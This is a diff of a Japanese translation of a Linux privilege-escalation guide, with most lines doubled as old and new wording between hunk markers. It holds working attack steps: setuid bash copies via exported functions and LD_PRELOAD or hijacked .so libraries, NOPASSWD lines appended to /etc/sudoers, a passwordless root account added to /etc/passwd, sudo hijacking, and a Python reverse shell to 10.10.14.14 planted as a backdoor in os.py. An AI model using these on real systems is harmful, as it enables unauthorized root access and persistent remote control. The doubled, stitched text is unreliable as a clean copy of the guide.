もし **suid** バイナリが **パスを指定して別のコマンドを実行する場合**、その場合は、suid ファイルが呼び出しているコマンドと同名の **関数をエクスポート** しようとすることができます。
例えば、suid バイナリが _**/usr/sbin/service apache2 start**_ を呼び出す場合、関数を作成してエクスポートしてみる必要があります:
例えば、suid バイナリが _**/usr/sbin/service apache2 start**_ を呼び出す場合、関数を作成してエクスポートる必要があります:
```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
```
そのため、suidバイナリを呼び出すと、この関数が実行されます。
その、suidバイナリを呼び出すと、この関数が実行されます。
### LD_PRELOAD & **LD_LIBRARY_PATH**
**LD_PRELOAD** 環境変数は、ローダーによって他のすべてのライブラリ、標準Cライブラリ`libc.so`を含む)よりも前にロードされる1つ以上の共有ライブラリ.soファイルを指定するために使用されます。このプロセスはライブラリのプリロードとして知られています。
**LD_PRELOAD** 環境変数は、ローダーによって他のすべてのライブラリ、標準Cライブラリ`libc.so`)を含む前に読み込まれる1つ以上の共有ライブラリ.soファイルを指定するために使用されます。このプロセスはライブラリのプリロードとして知られています。
しかし、システムのセキュリティを維持し、この機能が悪用されるのを防ぐために、特に **suid/sgid** 実行可能ファイルに対して、システムはいくつかの条件を強制します:
しかし、システムのセキュリティを維持し、この機能が特に**suid/sgid**実行可能ファイルで悪用されるのを防ぐために、システムはいくつかの条件を強制します:
- ローダーは、実ユーザーID_ruid_が有効ユーザーID_euid_と一致しない実行可能ファイルに対して**LD_PRELOAD**を無視します。
- suid/sgid の実行可能ファイルに対しては、suid/sgid である標準パスのライブラリのみがプリロードされます。
- suid/sgidの実行可能ファイルに対しては、suid/sgidである標準パスのライブラリのみがプリロードされます。
特権昇格は、`sudo` を使用してコマンドを実行する能力があり、`sudo -l` の出力に **env_keep+=LD_PRELOAD** という文が含まれている場合に発生する可能性があります。この構成により、**LD_PRELOAD** 環境変数が持続し、`sudo` でコマンドが実行されるときにも認識されるため、特権のある状態で任意のコードが実行される可能性があります。
特権昇格は、`sudo`コマンドを実行する能力があり、`sudo -l`の出力に**env_keep+=LD_PRELOAD**という文が含まれている場合に発生する可能性があります。この構成により、**LD_PRELOAD** 環境変数が持続し、`sudo`でコマンドが実行される際にも認識されるため、特権のある状態で任意のコードが実行される可能性があります。
```
Defaults env_keep += LD_PRELOAD
```
@ -809,7 +809,7 @@ system("/bin/bash");
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```
最後に、**特権を昇格させる** 実行
最後に、**特権を昇格させる** 実行
```bash
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
```
@ -836,13 +836,13 @@ sudo LD_LIBRARY_PATH=/tmp <COMMAND>
```
### SUIDバイナリ .soインジェクション
**SUID**権限を持つバイナリに遭遇した際に異常に見える場合、正しく**.so**ファイルを読み込んでいるか確認することが良い習慣です。これは次のコマンドを実行することで確認できます:
**SUID**権限を持つバイナリに遭遇した際に異常に見える場合、**.so**ファイルが正しく読み込まれているか確認することは良い習慣です。これを確認するには、次のコマンドを実行します:
```bash
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
```
例えば、_“open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (そのようなファイルやディレクトリはありません)”_ のようなエラーに遭遇することは、悪用の可能性を示唆しています。
これを悪用するには、_"/path/to/.config/libcalc.c"_ というCファイルを作成し、以下のコードを含めることになります:
これを悪用するには、_"/path/to/.config/libcalc.c"_ というCファイルを作成し、のコードを含めることになります:
```c
#include <stdio.h>
#include <stdlib.h>
@ -853,13 +853,13 @@ void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```
このコードは、コンパイルして実行すると、ファイルの権限を操作し、特権のあるシェルを実行することで特権を昇格させることを目的としています。
このコードは、コンパイルして実行すると、ファイルの権限を操作し、昇格した権限でシェルを実行することを目的としています。
上記のCファイルを共有オブジェクト.soファイルにコンパイルするには
```bash
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
```
最終的に、影響を受けた SUID バイナリを実行すると、エクスプロイトがトリガーされ、システムの侵害の可能性が生じます。
最終的に、影響を受けたSUIDバイナリを実行する、エクスプロイトがトリガーされ、システムの危険にさらされる可能性があります。
## Shared Object Hijacking
```bash
@ -894,7 +894,7 @@ system("/bin/bash -p");
[**GTFOBins**](https://gtfobins.github.io) は、攻撃者がローカルのセキュリティ制限を回避するために悪用できるUnixバイナリのキュレーションされたリストです。[**GTFOArgs**](https://gtfoargs.github.io/) は、コマンドに**引数のみを注入できる**場合の同様のリストです。
このプロジェクトは、制限されたシェルから抜け出したり、特権を昇格または維持したり、ファイルを転送したり、バインドシェルやリバースシェルを生成したり、他のポストエクスプロイトタスクを容易にするために悪用できるUnixバイナリの正当な関数を収集しています。
このプロジェクトは、制限されたシェルから抜け出し、特権を昇格または維持し、ファイルを転送し、バインドおよびリバースシェルを生成し、他のポストエクスプロイテーションタスクを容易にするために悪用できるUnixバイナリの正当な関数を収集します。
> gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\
@ -911,30 +911,30 @@ https://gtfoargs.github.io/
### FallOfSudo
`sudo -l` にアクセスできる場合、ツール [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) を使用して、任意のsudoルールを悪用する方法を見つけられるか確認できます。
`sudo -l` にアクセスできる場合、ツール [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) を使用して、任意のsudoルールを悪用する方法を見つけることができます。
### Sudoトークンの再利用
**sudoアクセス**はあるがパスワードがない場合、**sudoコマンドの実行を待ってからセッショントークンをハイジャックすることで特権を昇格できます**
**sudoアクセス**はあるがパスワードがない場合、**sudoコマンドの実行を待ってからセッショントークンをハイジャックすることで特権を昇格させる**ことができます。
特権を昇格るための要件:
特権を昇格させるための要件:
- すでに "_sampleuser_" としてシェルを持ってい
- "_sampleuser_" が**過去15分間に `sudo`**を使用して何かを実行している(デフォルトでは、これはパスワードを入力せずに `sudo` を使用できるsudoトークンの期間です
- `cat /proc/sys/kernel/yama/ptrace_scope` が 0 である
- `gdb` にアクセス可能である(アップロードできる必要があります)
- あなたはすでに "_sampleuser_" としてシェルを持っています
- "_sampleuser_" は**過去15分間に `sudo`** を使用して何かを実行しています(デフォルトでは、これはパスワードを入力せずに `sudo` を使用できるsudoトークンの期間です
- `cat /proc/sys/kernel/yama/ptrace_scope` は 0 です
- `gdb` にアクセス可能で(アップロードできる必要があります)
`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` で一時的に `ptrace_scope` を有効にするか、`/etc/sysctl.d/10-ptrace.conf` を永続的に修正して `kernel.yama.ptrace_scope = 0` を設定できます)
`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` で一時的に `ptrace_scope` を有効にするか、`/etc/sysctl.d/10-ptrace.conf` を永続的に変更して `kernel.yama.ptrace_scope = 0` を設定できます)
これらの要件がすべて満たされている場合、**次の方法で特権を昇格できます:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
これらの要件がすべて満たされている場合、**次の方法で特権を昇格させることができます:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
- **最初のエクスプロイト** (`exploit.sh`) は、_ /tmp_ にバイナリ `activate_sudo_token` を作成します。これを使用して**セッション内でsudoトークンをアクティブにできます**(自動的にルートシェルは取得できませんので、`sudo su` を実行してください):
- **最初のエクスプロイト** (`exploit.sh`) は、_ /tmp_ にバイナリ `activate_sudo_token` を作成します。これを使用して**セッション内でsudoトークンをアクティブにする**ことができます自動的にrootシェルは取得できませんので、`sudo su` を実行してください):
```bash
bash exploit.sh
/tmp/activate_sudo_token
sudo su
```
- **二のエクスプロイト** (`exploit_v2.sh`) は、_ /tmp _ に **setuid を持つ root 所有の sh シェルを作成します**
- **番目のエクスプロイト** (`exploit_v2.sh`) は、_ /tmp _ に **setuid を持つ root 所有の sh シェルを作成します**
```bash
bash exploit_v2.sh
/tmp/sh -p
@ -954,12 +954,12 @@ sudo su
### /etc/sudoers, /etc/sudoers.d
ファイル `/etc/sudoers``/etc/sudoers.d` 内のファイルは、誰が `sudo` を使用できるか、そしてその方法を設定します。これらのファイルは **デフォルトではユーザー root とグループ root のみが読み取ることができます**。\
**もし** このファイルを **読む** ことができれば、**興味深い情報を取得できる可能性があります**。また、**任意のファイルに書き込む** ことができれば、**特権を昇格させる** ことができます
**もし**このファイルを**読む**ことができれば、**興味深い情報を取得できる**可能性があります。また、**書き込む**ことができるファイルがあれば、**特権を昇格させる**ことができるでしょう
```bash
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
```
書けるなら、この権限を悪用することができます。
この権限を悪用することができるのは、書くことができる場合です。
```bash
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
@ -979,9 +979,9 @@ permit nopass demo as root cmd vim
```
### Sudo Hijacking
もし**ユーザーが通常マシンに接続し、`sudo`を使用して特権を昇格させる**ことを知っていて、そのユーザーコンテキスト内でシェルを取得した場合、**新しいsudo実行可能ファイルを作成**して、あなたのコードをrootとして実行し、その後ユーザーのコマンドを実行させることができます。次に、**ユーザーコンテキストの$PATHを変更**します(例えば、.bash_profileに新しいパスを追加するなどので、ユーザーがsudoを実行すると、あなたのsudo実行可能ファイルが実行されます。
もし**ユーザーが通常マシンに接続し、`sudo`を使用して特権を昇格させる**ことを知っていて、そのユーザーコンテキスト内でシェルを取得した場合、**新しいsudo実行可能ファイルを作成**して、あなたのコードをrootとして実行し、その後ユーザーのコマンドを実行させることができます。そして、**ユーザーコンテキストの$PATHを変更**します(例えば、.bash_profileに新しいパスを追加するので、ユーザーがsudoを実行すると、あなたのsudo実行可能ファイルが実行されます。
ユーザーが異なるシェルbash以外を使用している場合は、新しいパスを追加するために他のファイルを修正する必要があることに注意してください。例えば、[sudo-piggyback](https://github.com/APTy/sudo-piggyback)は`~/.bashrc``~/.zshrc``~/.bash_profile`修正します。別の例は[bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)で見つけることができます。
ユーザーが異なるシェルbash以外を使用している場合は、新しいパスを追加するために他のファイルを変更する必要があることに注意してください。例えば、[sudo-piggyback](https://github.com/APTy/sudo-piggyback)は`~/.bashrc``~/.zshrc``~/.bash_profile`変更します。別の例は[bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)で見つけることができます。
または、次のようなコマンドを実行します:
```bash
@ -1007,7 +1007,7 @@ sudo ls
これは、`/etc/ld.so.conf.d/*.conf` からの設定ファイルが読み込まれることを意味します。この設定ファイルは **他のフォルダを指し示し**、そこに **ライブラリ****検索される** ことになります。例えば、`/etc/ld.so.conf.d/libc.conf` の内容は `/usr/local/lib` です。 **これは、システムが `/usr/local/lib` 内でライブラリを検索することを意味します**
何らかの理由で **ユーザーが書き込み権限を持っている** 場合、次のパスのいずれかに対して: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` 内の任意のファイル、または `/etc/ld.so.conf.d/*.conf` 内の設定ファイル内の任意のフォルダ、特権を昇格させることができるかもしれません。\
この誤設定を **どのように悪用するか** については、次のページを参照してください:
次のページで **この誤設定を悪用する方法** を確認してください:
{{#ref}}
ld.so.conf-example.md
@ -1033,7 +1033,7 @@ linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
```
`/var/tmp``gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`を使用して悪意のあるライブラリを作成します。
`/var/tmp``gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`を使て悪意のあるライブラリを作成します。
```c
#include<stdlib.h>
#define SHELL "/bin/sh"
@ -1048,8 +1048,8 @@ execve(file,argv,0);
```
## Capabilities
Linux capabilitiesは、**プロセスに利用可能なroot権限のサブセットを提供します**。これにより、rootの**権限がより小さく、独特な単位に分割されます**。これらの単位はそれぞれ独立してプロセスに付与できます。この方法、権限の完全なセットが削減され、悪用のリスクが低下します。\
以下のページを読んで、**capabilitiesについておよびそれを悪用する方法を学んでください**
Linux capabilitiesは、**プロセスに利用可能なroot権限のサブセットを提供します**。これにより、rootの**権限がより小さく、区別された単位に分割されます**。これらの単位はそれぞれ独立してプロセスに付与できます。この方法により、権限の完全なセットが削減され、悪用のリスクが低下します。\
以下のページを読んで、**capabilitiesについて、そしてそれを悪用する方法を学んでください**
{{#ref}}
linux-capabilities.md
@ -1062,7 +1062,7 @@ linux-capabilities.md
## ACLs
アクセス制御リストACLは、裁量的権限の二次層を表し、**従来のugo/rwx権限を上書きすることができます**。これらの権限は、所有者やグループの一部でない特定のユーザーに対して権利を付与または拒否することにより、ファイルまたはディレクトリへのアクセスを強化します。このレベルの**粒度は、より正確なアクセス管理を保証します**。詳細は[**こちら**](https://linuxconfig.org/how-to-manage-acls-on-linux)で確認できます。
アクセス制御リストACLは、裁量的権限の二次的な層を表し、**従来のugo/rwx権限を上書きすることができます**。これらの権限は、所有者やグループの一部でない特定のユーザーに対して権利を付与または拒否することにより、ファイルまたはディレクトリへのアクセスを強化します。このレベルの**粒度は、より正確なアクセス管理を保証します**。詳細は[**こちら**](https://linuxconfig.org/how-to-manage-acls-on-linux)で確認できます。
**ユーザー"kali"にファイルに対する読み取りおよび書き込み権限を与えます**
```bash
@ -1117,16 +1117,16 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
```
**Valentine box from HTB**の例を確認してください。
Check **Valentine box from HTB** for an example.
## SSH
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
2006年9月から2008年5月13日までの間にDebianベースのシステムUbuntu、Kubuntuなどで生成されたすべてのSSLおよびSSHキーは、このバグの影響を受ける可能性があります。\
このバグは、これらのOSで新しいsshキーを作成する際に発生します。**可能な変種は32,768種類のみでした**。これは、すべての可能性を計算できることを意味し、**ssh公開鍵を持っていれば、対応する秘密鍵を検索できます**。計算された可能性はここで見つけることができます: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
DebianベースのシステムUbuntu、Kubuntuなど2006年9月から2008年5月13日までに生成されたすべてのSSLおよびSSHキーは、このバグの影響を受ける可能性があります。\
このバグは、これらのOSで新しいsshキーを作成する際に発生します。**可能な変種は32,768通りのみでした**。これは、すべての可能性を計算できることを意味し、**ssh公開鍵を持っていれば、対応する秘密鍵を検索できます**。計算された可能性はここで見つけることができます: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
### SSHの興味深い設定値
### SSH Interesting configuration values
- **PasswordAuthentication:** パスワード認証が許可されているかどうかを指定します。デフォルトは`no`です。
- **PubkeyAuthentication:** 公開鍵認証が許可されているかどうかを指定します。デフォルトは`yes`です。
@ -1134,7 +1134,7 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
### PermitRootLogin
rootがsshを使用してログインできるかどうかを指定します。デフォルトは`no`です。可能な値
rootがsshを使用してログインできるかどうかを指定します。デフォルトは`no`です。可能な値:
- `yes`: rootはパスワードと秘密鍵を使用してログインできます
- `without-password`または`prohibit-password`: rootは秘密鍵のみでログインできます
@ -1143,7 +1143,7 @@ rootがsshを使用してログインできるかどうかを指定します。
### AuthorizedKeysFile
ユーザー認証に使用できる公開鍵を含むファイルを指定します。`%h`のようなトークンを含むことができ、これはホームディレクトリに置き換えられます。**絶対パス**`/`始まる)または**ユーザーのホームからの相対パス**を指定できます。例えば
ユーザー認証に使用できる公開鍵を含むファイルを指定します。`%h`のようなトークンを含むことができ、これはホームディレクトリに置き換えられます。**絶対パス**`/`から始まる)または**ユーザーのホームからの相対パス**を指定できます。例えば:
```bash
AuthorizedKeysFile .ssh/authorized_keys access
```
@ -1151,7 +1151,7 @@ AuthorizedKeysFile .ssh/authorized_keys access
### ForwardAgent/AllowAgentForwarding
SSH エージェントフォワーディングを使用すると、**サーバーにキーを置かずに**(パスフレーズなし**ローカルの SSH キーを使用する**ことができます。これにより、ssh **を介してホストに** **ジャンプ**し、そこから **別の** ホストに **ジャンプ** **することができ**、**初期ホスト**にある **キー**を使用できます。
SSH エージェントフォワーディングを使用すると、**サーバーにキー**(パスフレーズなし!)を置くのではなく、**ローカルの SSH キーを使用する**ことができます。これにより、ssh **でホストにジャンプ**し、そこから **別の** ホストに **ジャンプする**ことができ、**初期ホスト**にある **キー**を使用ます。
このオプションを `$HOME/.ssh.config` に次のように設定する必要があります:
```
@ -1163,7 +1163,7 @@ ForwardAgent yes
ファイル`/etc/ssh_config`はこの**options**を**override**し、この設定を許可または拒否することができます。\
ファイル`/etc/sshd_config`はキーワード`AllowAgentForwarding`を使用してssh-agentフォワーディングを**allow**または**denied**することができますデフォルトはallowです
Forward Agentが環境で設定されている場合、次のページを読んでください。**特権を昇格させるために悪用できるかもしれません**
Forward Agentが環境に設定されている場合は、以下のページを読んでください。**特権を昇格させるために悪用できるかもしれません**
{{#ref}}
ssh-forward-agent-exploitation.md
@ -1181,7 +1181,7 @@ ls -l /etc/profile /etc/profile.d/
### Passwd/Shadow ファイル
OSによっては、`/etc/passwd``/etc/shadow` ファイルが異なる名前を使用しているか、バックアップが存在する場合があります。したがって、**すべてを見つける**ことをお勧めし、**それらを読み取れるか確認**して、ファイル内に**ハッシュがあるか**を確認してください:
OSによっては、`/etc/passwd``/etc/shadow` ファイルが異なる名前を使用しているか、バックアップが存在する場合があります。したがって、**すべてを見つける**ことをお勧めし、**それらを読み取れるか確認**して、ファイル内に**ハッシュ**が含まれているかを確認してください。
```bash
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
@ -1200,15 +1200,15 @@ openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
```
次に、ユーザー `hacker` を追加し、生成されたパスワードを追加します。
ユーザー `hacker` を追加し、生成されたパスワードを追加します。
```
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
```
: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
これで `hacker:hacker``su` コマンドを使用できます。
`hacker:hacker`を使って`su`コマンドを実行できます。
また次の行を使用してパスワードなしのダミーユーザーを追加できます。\
また、パスワードなしのダミーユーザーを追加するために以下の行を使用できます。\
警告: 現在のマシンのセキュリティが低下する可能性があります。
```
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
@ -1221,7 +1221,7 @@ su - dummy
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
```
例えば、マシンが**tomcat**サーバーを実行していて、**/etc/systemd/内のTomcatサービス構成ファイルを変更できる**場合、次の行を変更できます:
例えば、マシンが**tomcat**サーバーを実行していて、**/etc/systemd/内のTomcatサービス設定ファイルを変更できる**場合、次の行を変更できます:
```
ExecStart=/path/to/backdoor
User=root
@ -1284,15 +1284,15 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null
```bash
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
```
### Known files containing passwords
### パスワードを含む既知のファイル
[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)のコードを読んでください。これは**パスワードを含む可能性のあるいくつかのファイルを検索します**。\
**もう一つの興味深いツール**は、**LaZagne**です。これは、Windows、Linux、Mac用にローカルコンピュータに保存された多くのパスワードを取得するために使用されるオープンソースアプリケーションです。
[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)のコードを読んでください。これは**パスワードを含む可能性のあるいくつかのファイルを検索します**。\
**もう一つの興味深いツール**は、[**LaZagne**](https://github.com/AlessandroZ/LaZagne)で、これはWindows、Linux、Macのローカルコンピュータに保存された多くのパスワードを取得するために使用されるオープンソースアプリケーションです。
### Logs
### ログ
ログを読むことができれば、**その中に興味深い/機密情報を見つけることができるかもしれません**。ログが奇妙であればあるほど、興味深いものになるでしょう(おそらく)。\
また、**「悪い」**構成(バックドア?)の**監査ログ**は、この記事で説明されているように、監査ログ内に**パスワードを記録する**ことを許可するかもしれません: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。
また、**「悪い」**設定(バックドア?)の**監査ログ**は、この記事で説明されているように、**監査ログ内にパスワードを記録する**ことを許可するかもしれません: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
@ -1321,18 +1321,18 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
Pythonスクリプトが実行される**場所**を知っていて、そのフォルダー内に**書き込むことができる**、または**Pythonライブラリを変更できる**場合、OSライブラリを変更してバックドアを仕掛けることができますPythonスクリプトが実行される場所に書き込むことができる場合、os.pyライブラリをコピーして貼り付けます
ライブラリを**バックドアする**には、os.pyライブラリの最後に次の行を追加しますIPとPORTを変更してください
ライブラリを**バックドア**するには、os.pyライブラリの最後に次の行を追加しますIPとPORTを変更してください
```python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```
### Logrotateの悪用
`logrotate`の脆弱性により、ログファイルまたはその親ディレクトリに**書き込み権限**を持つユーザーが特権を昇格させる可能性があります。これは、`logrotate`がしばしば**root**として実行され、特に_**/etc/bash_completion.d/**_のようなディレクトリで任意のファイルを実行するように操作できるためです。ログローテーションが適用されるディレクトリだけでなく、_ /var/log _内の権限も確認することが重要です。
`logrotate`の脆弱性により、ログファイルまたはその親ディレクトリに**書き込み権限**を持つユーザーが特権を昇格させる可能性があります。これは、`logrotate`がしばしば**root**として実行され、特に_**/etc/bash_completion.d/**_のようなディレクトリで任意のファイルを実行するように操作できるためです。ログローテーションが適用される任意のディレクトリだけでなく、_ /var/log _内の権限も確認することが重要です。
> [!NOTE]
> この脆弱性は`logrotate`バージョン`3.18.0`およびそれ以前のバージョンに影響します。
> この脆弱性は`logrotate`バージョン`3.18.0`およびそれ以前に影響します。
脆弱性に関する詳細情報は、のページで確認できます: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)。
脆弱性に関する詳細情報は、こちらのページで確認できます: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)。
この脆弱性は[**logrotten**](https://github.com/whotwagner/logrotten)を使用して悪用できます。
@ -1356,11 +1356,11 @@ DEVICE=eth0
```
### **init, init.d, systemd, and rc.d**
ディレクトリ `/etc/init.d`**System V init (SysVinit)** のための **スクリプト** のホームです。これは **クラシックなLinuxサービス管理システム** であり、サービスを `start``stop``restart`、時には `reload` するためのスクリプトが含まれています。これらは直接実行することも、`/etc/rc?.d/` に見られるシンボリックリンクを通じて実行することもできます。Redhatシステムの代替パスは `/etc/rc.d/init.d` です。
ディレクトリ `/etc/init.d`**System V init (SysVinit)** のための **スクリプト** のホームです。これは **クラシックなLinuxサービス管理システム** であり、サービスを `start``stop``restart`、時には `reload` するためのスクリプトが含まれています。これらは直接実行することも、 `/etc/rc?.d/` にあるシンボリックリンクを通じて実行することもできます。Redhatシステムの代替パスは `/etc/rc.d/init.d` です。
一方、`/etc/init`**Upstart** に関連しており、これはUbuntuによって導入された新しい **サービス管理** で、サービス管理タスクのための設定ファイルを使用します。Upstartへの移行にもかかわらず、SysVinitスクリプトはUpstartの設定と共に利用され続けており、Upstartには互換性レイヤーがあります。
一方、 `/etc/init`**Upstart** に関連しており、これはUbuntuによって導入された新しい **サービス管理** で、サービス管理タスクのための設定ファイルを使用します。Upstartへの移行にもかかわらず、SysVinitスクリプトはUpstartの設定とともに互換性レイヤーのために引き続き利用されています。
**systemd** は現代の初期化およびサービスマネージャーとして登場し、オンデマンドのデーモン起動、自動マウント管理、システム状態スナップショットなどの高度な機能を提供します。これは、配布パッケージ用に `/usr/lib/systemd/` にファイルを整理し、管理者の変更用に `/etc/systemd/system/` に整理し、システム管理プロセスを効率化します。
**systemd** は現代の初期化およびサービスマネージャーとして登場し、オンデマンドのデーモン起動、自動マウント管理、システム状態スナップショットなどの高度な機能を提供します。ファイルは配布パッケージ用の `/usr/lib/systemd/` と管理者の変更用の `/etc/systemd/system/` に整理されており、システム管理プロセスを効率化します。
## Other Tricks